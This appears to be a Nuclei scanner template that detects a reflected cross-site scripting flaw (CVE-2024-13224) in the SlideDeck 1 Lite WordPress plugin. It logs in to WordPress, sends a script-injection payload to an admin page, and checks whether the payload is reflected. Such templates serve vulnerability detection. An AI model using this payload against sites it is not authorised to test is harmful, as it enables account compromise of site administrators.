id: CVE-2024-13224

info:
  name: SlideDeck 1 Lite Content Slider - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    SlideDeck 1 Lite Content Slider WordPress plugin <= 1.4.8 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/32a90907-e82f-41b3-b20e-d10a722e2999/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13224
    cwe-id: CWE-79
    epss-score: 0.0057
    epss-percentile: 0.42635
    cpe: cpe:2.3:a:dtelepathy:slidedeck_1_lite_content_slider:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dtelepathy
    product: slidedeck_1_lite_content_slider
  tags: cve,cve2024,wpscan,wp-plugin,dtelepathy,slidedeck-1-lite-content-slider

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=slidedeck.php/slidedeck_dynamic&action=1"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>", "dynamic_slidedeck_form")'
        condition: and
# digest: 4a0a00473045022067790fbbd072739284e60c117a518464405fc2c9a1806e83b0a843566691b5bb022100ffc39ff74f3086bd8755c19ebfdd1ef60ea71db26ddddd2d77c0162227fb56fa:922c64590222798bb761d5b6d8e72950